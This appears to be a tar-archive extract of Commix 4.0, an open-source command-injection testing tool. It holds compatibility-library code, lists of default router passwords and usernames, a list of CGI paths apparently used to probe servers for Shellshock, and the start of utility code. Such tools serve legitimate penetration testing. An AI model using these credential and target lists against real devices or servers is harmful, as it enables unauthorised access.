_importer._add_module(Module_six_moves_urllib_response(__name__ + ".moves.urllib.response"),
"moves.urllib_response", "moves.urllib.response")
class Module_six_moves_urllib_robotparser(_LazyModule):
"""Lazy loading of moved objects in six.moves.urllib_robotparser"""
_urllib_robotparser_moved_attributes = [
MovedAttribute("RobotFileParser", "robotparser", "urllib.robotparser"),
]
for attr in _urllib_robotparser_moved_attributes:
setattr(Module_six_moves_urllib_robotparser, attr.name, attr)
del attr
Module_six_moves_urllib_robotparser._moved_attributes = _urllib_robotparser_moved_attributes
_importer._add_module(Module_six_moves_urllib_robotparser(__name__ + ".moves.urllib.robotparser"),
"moves.urllib_robotparser", "moves.urllib.robotparser")
class Module_six_moves_urllib(types.ModuleType):
"""Create a six.moves.urllib namespace that resembles the Python 3 namespace"""
__path__ = [] # mark as package
parse = _importer._get_module("moves.urllib_parse")
error = _importer._get_module("moves.urllib_error")
request = _importer._get_module("moves.urllib_request")
response = _importer._get_module("moves.urllib_response")
robotparser = _importer._get_module("moves.urllib_robotparser")
def __dir__(self):
return ['parse', 'error', 'request', 'response', 'robotparser']
_importer._add_module(Module_six_moves_urllib(__name__ + ".moves.urllib"),
"moves.urllib")
def add_move(move):
"""Add an item to six.moves."""
setattr(_MovedItems, move.name, move)
def remove_move(name):
"""Remove item from six.moves."""
try:
delattr(_MovedItems, name)
except AttributeError:
try:
del moves.__dict__[name]
except KeyError:
raise AttributeError("no such move, %r" % (name,))
if PY3:
_meth_func = "__func__"
_meth_self = "__self__"
_func_closure = "__closure__"
_func_code = "__code__"
_func_defaults = "__defaults__"
_func_globals = "__globals__"
else:
_meth_func = "im_func"
_meth_self = "im_self"
_func_closure = "func_closure"
_func_code = "func_code"
_func_defaults = "func_defaults"
_func_globals = "func_globals"
try:
advance_iterator = next
except NameError:
def advance_iterator(it):
return it.next()
next = advance_iterator
try:
callable = callable
except NameError:
def callable(obj):
return any("__call__" in klass.__dict__ for klass in type(obj).__mro__)
if PY3:
def get_unbound_function(unbound):
return unbound
create_bound_method = types.MethodType
def create_unbound_method(func, cls):
return func
Iterator = object
else:
def get_unbound_function(unbound):
return unbound.im_func
def create_bound_method(func, obj):
return types.MethodType(func, obj, obj.__class__)
def create_unbound_method(func, cls):
return types.MethodType(func, None, cls)
class Iterator(object):
def next(self):
return type(self).__next__(self)
callable = callable
_add_doc(get_unbound_function,
"""Get the function out of a possibly unbound function""")
get_method_function = operator.attrgetter(_meth_func)
get_method_self = operator.attrgetter(_meth_self)
get_function_closure = operator.attrgetter(_func_closure)
get_function_code = operator.attrgetter(_func_code)
get_function_defaults = operator.attrgetter(_func_defaults)
get_function_globals = operator.attrgetter(_func_globals)
if PY3:
def iterkeys(d, **kw):
return iter(d.keys(**kw))
def itervalues(d, **kw):
return iter(d.values(**kw))
def iteritems(d, **kw):
return iter(d.items(**kw))
def iterlists(d, **kw):
return iter(d.lists(**kw))
viewkeys = operator.methodcaller("keys")
viewvalues = operator.methodcaller("values")
viewitems = operator.methodcaller("items")
else:
def iterkeys(d, **kw):
return d.iterkeys(**kw)
def itervalues(d, **kw):
return d.itervalues(**kw)
def iteritems(d, **kw):
return d.iteritems(**kw)
def iterlists(d, **kw):
return d.iterlists(**kw)
viewkeys = operator.methodcaller("viewkeys")
viewvalues = operator.methodcaller("viewvalues")
viewitems = operator.methodcaller("viewitems")
_add_doc(iterkeys, "Return an iterator over the keys of a dictionary.")
_add_doc(itervalues, "Return an iterator over the values of a dictionary.")
_add_doc(iteritems,
"Return an iterator over the (key, value) pairs of a dictionary.")
_add_doc(iterlists,
"Return an iterator over the (key, [values]) pairs of a dictionary.")
if PY3:
def b(s):
return s.encode("latin-1")
def u(s):
return s
unichr = chr
import struct
int2byte = struct.Struct(">B").pack
del struct
byte2int = operator.itemgetter(0)
indexbytes = operator.getitem
iterbytes = iter
import io
StringIO = io.StringIO
BytesIO = io.BytesIO
del io
_assertCountEqual = "assertCountEqual"
if sys.version_info[1] <= 1:
_assertRaisesRegex = "assertRaisesRegexp"
_assertRegex = "assertRegexpMatches"
_assertNotRegex = "assertNotRegexpMatches"
else:
_assertRaisesRegex = "assertRaisesRegex"
_assertRegex = "assertRegex"
_assertNotRegex = "assertNotRegex"
else:
def b(s):
return s
# Workaround for standalone backslash
def u(s):
return unicode(s.replace(r'\\', r'\\\\'), "unicode_escape")
unichr = unichr
int2byte = chr
def byte2int(bs):
return ord(bs[0])
def indexbytes(buf, i):
return ord(buf[i])
iterbytes = functools.partial(itertools.imap, ord)
import StringIO
StringIO = BytesIO = StringIO.StringIO
_assertCountEqual = "assertItemsEqual"
_assertRaisesRegex = "assertRaisesRegexp"
_assertRegex = "assertRegexpMatches"
_assertNotRegex = "assertNotRegexpMatches"
_add_doc(b, """Byte literal""")
_add_doc(u, """Text literal""")
def assertCountEqual(self, *args, **kwargs):
return getattr(self, _assertCountEqual)(*args, **kwargs)
def assertRaisesRegex(self, *args, **kwargs):
return getattr(self, _assertRaisesRegex)(*args, **kwargs)
def assertRegex(self, *args, **kwargs):
return getattr(self, _assertRegex)(*args, **kwargs)
def assertNotRegex(self, *args, **kwargs):
return getattr(self, _assertNotRegex)(*args, **kwargs)
if PY3:
exec_ = getattr(moves.builtins, "exec")
def reraise(tp, value, tb=None):
try:
if value is None:
value = tp()
if value.__traceback__ is not tb:
raise value.with_traceback(tb)
raise value
finally:
value = None
tb = None
else:
def exec_(_code_, _globs_=None, _locs_=None):
"""Execute code in a namespace."""
if _globs_ is None:
frame = sys._getframe(1)
_globs_ = frame.f_globals
if _locs_ is None:
_locs_ = frame.f_locals
del frame
elif _locs_ is None:
_locs_ = _globs_
exec("""exec _code_ in _globs_, _locs_""")
exec_("""def reraise(tp, value, tb=None):
try:
raise tp, value, tb
finally:
tb = None
""")
if sys.version_info[:2] > (3,):
exec_("""def raise_from(value, from_value):
try:
raise value from from_value
finally:
value = None
""")
else:
def raise_from(value, from_value):
raise value
print_ = getattr(moves.builtins, "print", None)
if print_ is None:
def print_(*args, **kwargs):
"""The new-style print function for Python 2.4 and 2.5."""
fp = kwargs.pop("file", sys.stdout)
if fp is None:
return
def write(data):
if not isinstance(data, basestring):
data = str(data)
# If the file has an encoding, encode unicode with it.
if (isinstance(fp, file) and
isinstance(data, unicode) and
fp.encoding is not None):
errors = getattr(fp, "errors", None)
if errors is None:
errors = "strict"
data = data.encode(fp.encoding, errors)
fp.write(data)
want_unicode = False
sep = kwargs.pop("sep", None)
if sep is not None:
if isinstance(sep, unicode):
want_unicode = True
elif not isinstance(sep, str):
raise TypeError("sep must be None or a string")
end = kwargs.pop("end", None)
if end is not None:
if isinstance(end, unicode):
want_unicode = True
elif not isinstance(end, str):
raise TypeError("end must be None or a string")
if kwargs:
raise TypeError("invalid keyword arguments to print()")
if not want_unicode:
for arg in args:
if isinstance(arg, unicode):
want_unicode = True
break
if want_unicode:
newline = unicode("\n")
space = unicode(" ")
else:
newline = "\n"
space = " "
if sep is None:
sep = space
if end is None:
end = newline
for i, arg in enumerate(args):
if i:
write(sep)
write(arg)
write(end)
if sys.version_info[:2] < (3, 3):
_print = print_
def print_(*args, **kwargs):
fp = kwargs.get("file", sys.stdout)
flush = kwargs.pop("flush", False)
_print(*args, **kwargs)
if flush and fp is not None:
fp.flush()
_add_doc(reraise, """Reraise an exception.""")
if sys.version_info[0:2] < (3, 4):
# This does exactly the same what the :func:`py3:functools.update_wrapper`
# function does on Python versions after 3.2. It sets the ``__wrapped__``
# attribute on ``wrapper`` object and it doesn't raise an error if any of
# the attributes mentioned in ``assigned`` and ``updated`` are missing on
# ``wrapped`` object.
def _update_wrapper(wrapper, wrapped,
assigned=functools.WRAPPER_ASSIGNMENTS,
updated=functools.WRAPPER_UPDATES):
for attr in assigned:
try:
value = getattr(wrapped, attr)
except AttributeError:
continue
else:
setattr(wrapper, attr, value)
for attr in updated:
getattr(wrapper, attr).update(getattr(wrapped, attr, {}))
wrapper.__wrapped__ = wrapped
return wrapper
_update_wrapper.__doc__ = functools.update_wrapper.__doc__
def wraps(wrapped, assigned=functools.WRAPPER_ASSIGNMENTS,
updated=functools.WRAPPER_UPDATES):
return functools.partial(_update_wrapper, wrapped=wrapped,
assigned=assigned, updated=updated)
wraps.__doc__ = functools.wraps.__doc__
else:
wraps = functools.wraps
def with_metaclass(meta, *bases):
"""Create a base class with a metaclass."""
# This requires a bit of explanation: the basic idea is to make a dummy
# metaclass for one level of class instantiation that replaces itself with
# the actual metaclass.
class metaclass(type):
def __new__(cls, name, this_bases, d):
if sys.version_info[:2] >= (3, 7):
# This version introduced PEP 560 that requires a bit
# of extra care (we mimic what is done by __build_class__).
resolved_bases = types.resolve_bases(bases)
if resolved_bases is not bases:
d['__orig_bases__'] = bases
else:
resolved_bases = bases
return meta(name, resolved_bases, d)
@classmethod
def __prepare__(cls, name, this_bases):
return meta.__prepare__(name, bases)
return type.__new__(metaclass, 'temporary_class', (), {})
def add_metaclass(metaclass):
"""Class decorator for creating a class with a metaclass."""
def wrapper(cls):
orig_vars = cls.__dict__.copy()
slots = orig_vars.get('__slots__')
if slots is not None:
if isinstance(slots, str):
slots = [slots]
for slots_var in slots:
orig_vars.pop(slots_var)
orig_vars.pop('__dict__', None)
orig_vars.pop('__weakref__', None)
if hasattr(cls, '__qualname__'):
orig_vars['__qualname__'] = cls.__qualname__
return metaclass(cls.__name__, cls.__bases__, orig_vars)
return wrapper
def ensure_binary(s, encoding='utf-8', errors='strict'):
"""Coerce **s** to six.binary_type.
For Python 2:
- `unicode` -> encoded to `str`
- `str` -> `str`
For Python 3:
- `str` -> encoded to `bytes`
- `bytes` -> `bytes`
"""
if isinstance(s, binary_type):
return s
if isinstance(s, text_type):
return s.encode(encoding, errors)
raise TypeError("not expecting type '%s'" % type(s))
def ensure_str(s, encoding='utf-8', errors='strict'):
"""Coerce *s* to `str`.
For Python 2:
- `unicode` -> encoded to `str`
- `str` -> `str`
For Python 3:
- `str` -> `str`
- `bytes` -> decoded to `str`
"""
# Optimization: Fast return for the common case.
if type(s) is str:
return s
if PY2 and isinstance(s, text_type):
return s.encode(encoding, errors)
elif PY3 and isinstance(s, binary_type):
return s.decode(encoding, errors)
elif not isinstance(s, (text_type, binary_type)):
raise TypeError("not expecting type '%s'" % type(s))
return s
def ensure_text(s, encoding='utf-8', errors='strict'):
"""Coerce *s* to six.text_type.
For Python 2:
- `unicode` -> `unicode`
- `str` -> `unicode`
For Python 3:
- `str` -> `str`
- `bytes` -> decoded to `str`
"""
if isinstance(s, binary_type):
return s.decode(encoding, errors)
elif isinstance(s, text_type):
return s
else:
raise TypeError("not expecting type '%s'" % type(s))
def python_2_unicode_compatible(klass):
"""
A class decorator that defines __unicode__ and __str__ methods under Python 2.
Under Python 3 it does nothing.
To support Python 2 and 3 with a single code base, define a __str__ method
returning text and apply this decorator to the class.
"""
if PY2:
if '__str__' not in klass.__dict__:
raise ValueError("@python_2_unicode_compatible cannot be applied "
"to %s because it doesn't define __str__()." %
klass.__name__)
klass.__unicode__ = klass.__str__
klass.__str__ = lambda self: self.__unicode__().encode('utf-8')
return klass
# Complete the moves implementation.
# This code is at the end of this module to speed up module loading.
# Turn this module into a package.
__path__ = [] # required for PEP 302 and PEP 451
__package__ = __name__ # see PEP 366 @ReservedAssignment
if globals().get("__spec__") is not None:
__spec__.submodule_search_locations = [] # PEP 451 @UndefinedVariable
# Remove other six meta path importers, since they cause problems. This can
# happen if six is removed from sys.modules and then reloaded. (Setuptools does
# this for some reason.)
if sys.meta_path:
for i, importer in enumerate(sys.meta_path):
# Here's some real nastiness: Another "instance" of the six module might
# be floating around. Therefore, we can't use isinstance() to check for
# the six meta path importer, since the other six instance will have
# inserted an importer with different class.
if (type(importer).__name__ == "_SixMetaPathImporter" and
importer.name == __name__):
del sys.meta_path[i]
break
del i, importer
# Finally, add the importer to the meta path import hook.
sys.meta_path.append(_importer)
commix-4.0/src/txt/ 0000775 0000000 0000000 00000000000 14731205621 0014260 5 ustar 00root root 0000000 0000000 commix-4.0/src/txt/default_passwords.txt 0000664 0000000 0000000 00000003012 14731205621 0020546 0 ustar 00root root 0000000 0000000 0000
0123456789
0P3N
1
123
1234
12345
123456
12345678
123456789
1234567890
3bb
3play
3UJUh2VemEfUtesEchEC2d2e
4135279
@HuaweiHgw
abcd12345
access key on label
addon
admim
admin
Admin
admin01
admin1
Admin123
admin_Ultimate
adminHW
Administrator
administrator
adminpldt
admintelecom
advanced
airlive
aisadmin
atlantis
attadmin
Aztechadmin
barricade
bayandsl
belong
bEn2o#US9s
bezeqint
broadband
BSNL1234
cableroot
cciadmin
changeme
cht
chtnvdsl
cisco
Cl@r0
comcast
conexant
conf
Conf
ctAdmin
cusadmin
cytauser
default
digi
digicel
draadloos
DSL
dsmart
Enduser
enduser
entel
epicrouter
Epuser
Expert
fastweb
fritzfonbox
geekadsl
Gponinstalador@123
gttuser
guest
Guest
gvt12345
hamlet
highspeed
home
homebro
HPN
hsparouter
HuaweiUser
ipbbx
kpn
KPN
kpn-adsl
lightweight
linksys
liveboxfibra
loqal
LTEcpe
MaxisBB
menara
meo
motorola
Motorola
mtn
mysweex
NEMONTadmin
netis
NOLOGIN
on
OP3N
oper1234
operator
optus
ovislink
password
password
password1
pentagram
pfsense
primus
public
pz938qd6
pz938qdx
root
router
scmcadmin
SerialNumber
sitecom
sky
smartbro
smc
smcadmin
SpeedStream
superonline
superu
superuser
support
surecom
sweex
tattoo@home
Techni1789#
telecomadmin
telekom
telekomst
TELMEX
telstra
Telstra
telus
test
tmadmin
tot
trendchip
trustpower
ttnet
ubnt
unknown
user
User
useradmin
userEp
utstar
VF-IRhg556
vivo12345
vodafone
voo
webadmin
Xavi
zain
zhone
ziggo
zoomadsl
ZXDSL commix-4.0/src/txt/default_usernames.txt 0000664 0000000 0000000 00000000155 14731205621 0020530 0 ustar 00root root 0000000 0000000 !root
111111
1234
123456
admin
admin1
administrator
anonymous
cisco
root
r00t
test
webadmin
user commix-4.0/src/txt/shocker-cgi_list.txt 0000664 0000000 0000000 00000021053 14731205621 0020253 0 ustar 00root root 0000000 0000000 /admin.cgi
/administrator.cgi
/agora.cgi
/aktivate/cgi-bin/catgy.cgi
/analyse.cgi
/apps/web/vs_diag.cgi
/axis-cgi/buffer/command.cgi
/b2-include/b2edit.showposts.php
/bandwidth/index.cgi
/bigconf.cgi
/cartcart.cgi
/cart.cgi
/ccbill/whereami.cgi
/cgi-bin/14all-1.1.cgi
/cgi-bin/14all.cgi
/cgi-bin/a1disp3.cgi
/cgi-bin/a1stats/a1disp3.cgi
/cgi-bin/a1stats/a1disp4.cgi
/cgi-bin/addbanner.cgi
/cgi-bin/add_ftp.cgi
/cgi-bin/adduser.cgi
/cgi-bin/admin/admin.cgi
/cgi-bin/admin.cgi
/cgi-bin/admin/getparam.cgi
/cgi-bin/adminhot.cgi
/cgi-bin/admin.pl
/cgi-bin/admin/setup.cgi
/cgi-bin/adminwww.cgi
/cgi-bin/af.cgi
/cgi-bin/aglimpse.cgi
/cgi-bin/alienform.cgi
/cgi-bin/AnyBoard.cgi
/cgi-bin/architext_query.cgi
/cgi-bin/astrocam.cgi
/cgi-bin/AT-admin.cgi
/cgi-bin/AT-generate.cgi
/cgi-bin/auction/auction.cgi
/cgi-bin/auktion.cgi
/cgi-bin/ax-admin.cgi
/cgi-bin/ax.cgi
/cgi-bin/axs.cgi
/cgi-bin/badmin.cgi
/cgi-bin/banner.cgi
/cgi-bin/bannereditor.cgi
/cgi-bin/bb-ack.sh
/cgi-bin/bb-histlog.sh
/cgi-bin/bb-hist.sh
/cgi-bin/bb-hostsvc.sh
/cgi-bin/bb-replog.sh
/cgi-bin/bb-rep.sh
/cgi-bin/bbs_forum.cgi
/cgi-bin/bigconf.cgi
/cgi-bin/bizdb1-search.cgi
/cgi-bin/blog/mt-check.cgi
/cgi-bin/blog/mt-load.cgi
/cgi-bin/bnbform.cgi
/cgi-bin/book.cgi
/cgi-bin/boozt/admin/index.cgi
/cgi-bin/bsguest.cgi
/cgi-bin/bslist.cgi
/cgi-bin/build.cgi
/cgi-bin/bulk/bulk.cgi
/cgi-bin/cached_feed.cgi
/cgi-bin/cachemgr.cgi
/cgi-bin/calendar/index.cgi
/cgi-bin/cartmanager.cgi
/cgi-bin/cbmc/forums.cgi
/cgi-bin/ccvsblame.cgi
/cgi-bin/c_download.cgi
/cgi-bin/cgforum.cgi
/cgi-bin/.cgi
/cgi-bin/cgi_process
/cgi-bin/classified.cgi
/cgi-bin/classifieds.cgi
/cgi-bin/classifieds/classifieds.cgi
/cgi-bin/classifieds/index.cgi
/cgi-bin/.cobalt/alert/service.cgi
/cgi-bin/.cobalt/message/message.cgi
/cgi-bin/.cobalt/siteUserMod/siteUserMod.cgi
/cgi-bin/commandit.cgi
/cgi-bin/commerce.cgi
/cgi-bin/common/listrec.pl
/cgi-bin/compatible.cgi
/cgi-bin/Count.cgi
/cgi-bin/csChatRBox.cgi
/cgi-bin/csGuestBook.cgi
/cgi-bin/csLiveSupport.cgi
/cgi-bin/CSMailto.cgi
/cgi-bin/CSMailto/CSMailto.cgi
/cgi-bin/csNews.cgi
/cgi-bin/csNewsPro.cgi
/cgi-bin/csPassword.cgi
/cgi-bin/csPassword/csPassword.cgi
/cgi-bin/csSearch.cgi
/cgi-bin/csv_db.cgi
/cgi-bin/cvsblame.cgi
/cgi-bin/cvslog.cgi
/cgi-bin/cvsquery.cgi
/cgi-bin/cvsqueryform.cgi
/cgi-bin/cgiCmdNotify
/cgi-bin/day5datacopier.cgi
/cgi-bin/day5datanotifier.cgi
/cgi-bin/db_manager.cgi
/cgi-bin/dbman/db.cgi
/cgi-bin/dcforum.cgi
/cgi-bin/dcshop.cgi
/cgi-bin/dfire.cgi
/cgi-bin/diagnose.cgi
/cgi-bin/dig.cgi
/cgi-bin/directorypro.cgi
/cgi-bin/download.cgi
/cgi-bin/e87_Ba79yo87.cgi
/cgi-bin/emu/html/emumail.cgi
/cgi-bin/emumail.cgi
/cgi-bin/emumail/emumail.cgi
/cgi-bin/enter.cgi
/cgi-bin/environ.cgi
/cgi-bin/ezadmin.cgi
/cgi-bin/ezboard.cgi
/cgi-bin/ezman.cgi
/cgi-bin/ezshopper2/loadpage.cgi
/cgi-bin/ezshopper3/loadpage.cgi
/cgi-bin/ezshopper/loadpage.cgi
/cgi-bin/ezshopper/search.cgi
/cgi-bin/faqmanager.cgi
/cgi-bin/FileSeek2.cgi
/cgi-bin/FileSeek.cgi
/cgi-bin/finger.cgi
/cgi-bin/flexform.cgi
/cgi-bin/fom.cgi
/cgi-bin/fom/fom.cgi
/cgi-bin/FormHandler.cgi
/cgi-bin/FormMail.cgi
/cgi-bin/gbadmin.cgi
/cgi-bin/gbook/gbook.cgi
/cgi-bin/generate.cgi
/cgi-bin/getdoc.cgi
/cgi-bin/gH.cgi
/cgi-bin/gm-authors.cgi
/cgi-bin/gm.cgi
/cgi-bin/gm-cplog.cgi
/cgi-bin/guestbook.cgi
/cgi-bin/handler
/cgi-bin/handler.cgi
/cgi-bin/handler/netsonar
/cgi-bin/hitview.cgi
/cgi-bin/hsx.cgi
/cgi-bin/html2chtml.cgi
/cgi-bin/html2wml.cgi
/cgi-bin/htsearch.cgi
/cgi-bin/icat
/cgi-bin/if/admin/nph-build.cgi
/cgi-bin/ikonboard/help.cgi
/cgi-bin/ImageFolio/admin/admin.cgi
/cgi-bin/imageFolio.cgi
/cgi-bin/index.cgi
/cgi-bin/infosrch.cgi
/cgi-bin/jammail.pl
/cgi-bin/journal.cgi
/cgi-bin/lastlines.cgi
/cgi-bin/loadpage.cgi
/cgi-bin/login.cgi
/cgi-bin/logit.cgi
/cgi-bin/log-reader.cgi
/cgi-bin/lookwho.cgi
/cgi-bin/lwgate.cgi
/cgi-bin/MachineInfo
/cgi-bin/MachineInfo
/cgi-bin/magiccard.cgi
/cgi-bin/mail/emumail.cgi
/cgi-bin/maillist.cgi
/cgi-bin/mailnews.cgi
/cgi-bin/mail/nph-mr.cgi
/cgi-bin/main.cgi
/cgi-bin/main_menu.pl
/cgi-bin/man.sh
/cgi-bin/mini_logger.cgi
/cgi-bin/mmstdod.cgi
/cgi-bin/moin.cgi
/cgi-bin/mojo/mojo.cgi
/cgi-bin/mrtg.cgi
/cgi-bin/mt.cgi
/cgi-bin/mt/mt.cgi
/cgi-bin/mt/mt-check.cgi
/cgi-bin/mt/mt-load.cgi
/cgi-bin/mt-static/mt-check.cgi
/cgi-bin/mt-static/mt-load.cgi
/cgi-bin/musicqueue.cgi
/cgi-bin/myguestbook.cgi
/cgi-bin/.namazu.cgi
/cgi-bin/nbmember.cgi
/cgi-bin/netauth.cgi
/cgi-bin/netpad.cgi
/cgi-bin/newsdesk.cgi
/cgi-bin/nlog-smb.cgi
/cgi-bin/nph-emumail.cgi
/cgi-bin/nph-exploitscanget.cgi
/cgi-bin/nph-publish.cgi
/cgi-bin/nph-test.cgi
/cgi-bin/pagelog.cgi
/cgi-bin/pbcgi.cgi
/cgi-bin/perlshop.cgi
/cgi-bin/pfdispaly.cgi
/cgi-bin/pfdisplay.cgi
/cgi-bin/phf.cgi
/cgi-bin/photo/manage.cgi
/cgi-bin/photo/protected/manage.cgi
/cgi-bin/php-cgi
/cgi-bin/php.cgi
/cgi-bin/php.fcgi
/cgi-bin/ping.sh
/cgi-bin/pollit/Poll_It_SSI_v2.0.cgi
/cgi-bin/pollssi.cgi
/cgi-bin/postcards.cgi
/cgi-bin/powerup/r.cgi
/cgi-bin/printenv
/cgi-bin/probecontrol.cgi
/cgi-bin/profile.cgi
/cgi-bin/publisher/search.cgi
/cgi-bin/quickstore.cgi
/cgi-bin/quizme.cgi
/cgi-bin/ratlog.cgi
/cgi-bin/r.cgi
/cgi-bin/register.cgi
/cgi-bin/replicator/webpage.cgi/
/cgi-bin/responder.cgi
/cgi-bin/robadmin.cgi
/cgi-bin/robpoll.cgi
/cgi-bin/rtpd.cgi
/cgi-bin/sbcgi/sitebuilder.cgi
/cgi-bin/scoadminreg.cgi
/cgi-bin-sdb/printenv
/cgi-bin/sdbsearch.cgi
/cgi-bin/search
/cgi-bin/search.cgi
/cgi-bin/search/search.cgi
/cgi-bin/sendform.cgi
/cgi-bin/shop.cgi
/cgi-bin/shopper.cgi
/cgi-bin/shopplus.cgi
/cgi-bin/showcheckins.cgi
/cgi-bin/simplestguest.cgi
/cgi-bin/simplestmail.cgi
/cgi-bin/smartsearch.cgi
/cgi-bin/smartsearch/smartsearch.cgi
/cgi-bin/snorkerz.bat
/cgi-bin/snorkerz.bat
/cgi-bin/snorkerz.cmd
/cgi-bin/snorkerz.cmd
/cgi-bin/sojourn.cgi
/cgi-bin/spin_client.cgi
/cgi-bin/start.cgi
/cgi-bin/status
/cgi-bin/status_cgi
/cgi-bin/store/agora.cgi
/cgi-bin/store.cgi
/cgi-bin/store/index.cgi
/cgi-bin/survey.cgi
/cgi-bin/sync.cgi
/cgi-bin/talkback.cgi
/cgi-bin/technote/main.cgi
/cgi-bin/test2.pl
/cgi-bin/test-cgi
/cgi-bin/test.cgi
/cgi-bin/testing_whatever
/cgi-bin/test/test.cgi
/cgi-bin/tidfinder.cgi
/cgi-bin/tigvote.cgi
/cgi-bin/title.cgi
/cgi-bin/top.cgi
/cgi-bin/traffic.cgi
/cgi-bin/troops.cgi
/cgi-bin/ttawebtop.cgi/
/cgi-bin/ultraboard.cgi
/cgi-bin/upload.cgi
/cgi-bin/urlcount.cgi
/cgi-bin/viewcvs.cgi
/cgi-bin/view_help.cgi
/cgi-bin/viralator.cgi
/cgi-bin/virgil.cgi
/cgi-bin/vote.cgi
/cgi-bin/vpasswd.cgi
/cgi-bin/way-board.cgi
/cgi-bin/way-board/way-board.cgi
/cgi-bin/webbbs.cgi
/cgi-bin/webcart/webcart.cgi
/cgi-bin/webdist.cgi
/cgi-bin/webif.cgi
/cgi-bin/webmail/html/emumail.cgi
/cgi-bin/webmap.cgi
/cgi-bin/webspirs.cgi
/cgi-bin/Web_Store/web_store.cgi
/cgi-bin/whois.cgi
/cgi-bin/whois_raw.cgi
/cgi-bin/whois/whois.cgi
/cgi-bin/wrap
/cgi-bin/wrap.cgi
/cgi-bin/wwwboard.cgi.cgi
/cgi-bin/YaBB/YaBB.cgi
/cgi-bin/zml.cgi
/cgi-mod/index.cgi
/cgis/wwwboard/wwwboard.cgi
/cgi-sys/addalink.cgi
/cgi-sys/defaultwebpage.cgi
/cgi-sys/domainredirect.cgi
/cgi-sys/entropybanner.cgi
/cgi-sys/entropysearch.cgi
/cgi-sys/FormMail-clone.cgi
/cgi-sys/helpdesk.cgi
/cgi-sys/mchat.cgi
/cgi-sys/randhtml.cgi
/cgi-sys/realhelpdesk.cgi
/cgi-sys/realsignup.cgi
/cgi-sys/signup.cgi
/connector.cgi
/cp/rac/nsManager.cgi
/create_release.sh
/CSNews.cgi
/csPassword.cgi
/dcadmin.cgi
/dcboard.cgi
/dcforum.cgi
/dcforum/dcforum.cgi
/debuff.cgi
/debug.cgi
/details.cgi
/edittag/edittag.cgi
/emumail.cgi
/enter_buff.cgi
/enter_bug.cgi
/ez2000/ezadmin.cgi
/ez2000/ezboard.cgi
/ez2000/ezman.cgi
/fcgi-bin/echo
/fcgi-bin/echo
/fcgi-bin/echo2
/fcgi-bin/echo2
/Gozila.cgi
/hitmatic/analyse.cgi
/hp_docs/cgi-bin/index.cgi
/html/cgi-bin/cgicso
/html/cgi-bin/cgicso
/index.cgi
/info.cgi
/infosrch.cgi
/login.cgi
/mailview.cgi
/main.cgi
/megabook/admin.cgi
/ministats/admin.cgi
/mods/apage/apage.cgi
/_mt/mt.cgi
/musicqueue.cgi
/ncbook.cgi
/newpro.cgi
/newsletter.sh
/oem_webstage/cgi-bin/oemapp_cgi
/page.cgi
/parse_xml.cgi
/photodata/manage.cgi
/photo/manage.cgi
/print.cgi
/process_buff.cgi
/process_bug.cgi
/pub/english.cgi
/quikmail/nph-emumail.cgi
/quikstore.cgi
/reviews/newpro.cgi
/ROADS/cgi-bin/search.pl
/sample01.cgi
/sample02.cgi
/sample03.cgi
/sample04.cgi
/sampleposteddata.cgi
/scancfg.cgi
/scancfg.cgi
/servers/link.cgi
/setpasswd.cgi
/SetSecurity.shm
/shop/member_html.cgi
/shop/normal_html.cgi
/site_searcher.cgi
/siteUserMod.cgi
/submit.cgi
/technote/print.cgi
/template.cgi
/test.cgi
/ucsm/isSamInstalled.cgi
/upload.cgi
/userreg.cgi
/users/scripts/submit.cgi
/vood/cgi-bin/vood_view.cgi
/Web_Store/web_store.cgi
/webtools/bonsai/ccvsblame.cgi
/webtools/bonsai/cvsblame.cgi
/webtools/bonsai/cvslog.cgi
/webtools/bonsai/cvsquery.cgi
/webtools/bonsai/cvsqueryform.cgi
/webtools/bonsai/showcheckins.cgi
/wwwadmin.cgi
/wwwboard.cgi
/wwwboard/wwwboard.cgi
/cgi-bin/ commix-4.0/src/utils/ 0000775 0000000 0000000 00000000000 14731205621 0014601 5 ustar 00root root 0000000 0000000 commix-4.0/src/utils/__init__.py 0000664 0000000 0000000 00000000743 14731205621 0016716 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-4.0/src/utils/colors.py 0000664 0000000 0000000 00000000774 14731205621 0016464 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
ENABLE_COLORING = True
# eof commix-4.0/src/utils/common.py 0000664 0000000 0000000 00000033141 14731205621 0016445 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import os
import sys
import json
import time
import base64
import hashlib
import traceback
from src.utils import menu
from src.utils import settings
from src.thirdparty import six
from src.thirdparty.six.moves import input as _input
from src.thirdparty.six.moves import urllib as _urllib
"""
Invalid cmd output
"""
def invalid_cmd_output(cmd):
err_msg = "The execution of '" + cmd + "' command, does not return any output."
return err_msg
"""
Invalid option msg
"""
def invalid_option(option):
err_msg = "'" + option + "' is not a valid answer."
settings.print_data_to_stdout(settings.print_error_msg(err_msg))
"""
Reads input from terminal
"""
def read_input(message, default=None, check_batch=True):
def is_empty():
value = _input(settings.print_message(message))
if len(value) == 0:
return default
else:
return value
try:
value = None
if "\n" in message:
message += ("\n" if message.count("\n") > 1 else "")
elif len(message) == 0:
return is_empty()
if settings.ANSWERS:
if not any(_ in settings.ANSWERS for _ in ",="):
return is_empty()
else:
for item in settings.ANSWERS.split(','):
question = item.split('=')[0].strip()
answer = item.split('=')[1] if len(item.split('=')) > 1 else None
if answer and question.lower() in message.lower():
value = answer
settings.print_data_to_stdout(settings.print_message(message + str(value)))
return value
elif answer is None and value:
return is_empty()
if value:
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Used the given answer."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
settings.print_data_to_stdout(settings.print_message(message + str(value)))
return value
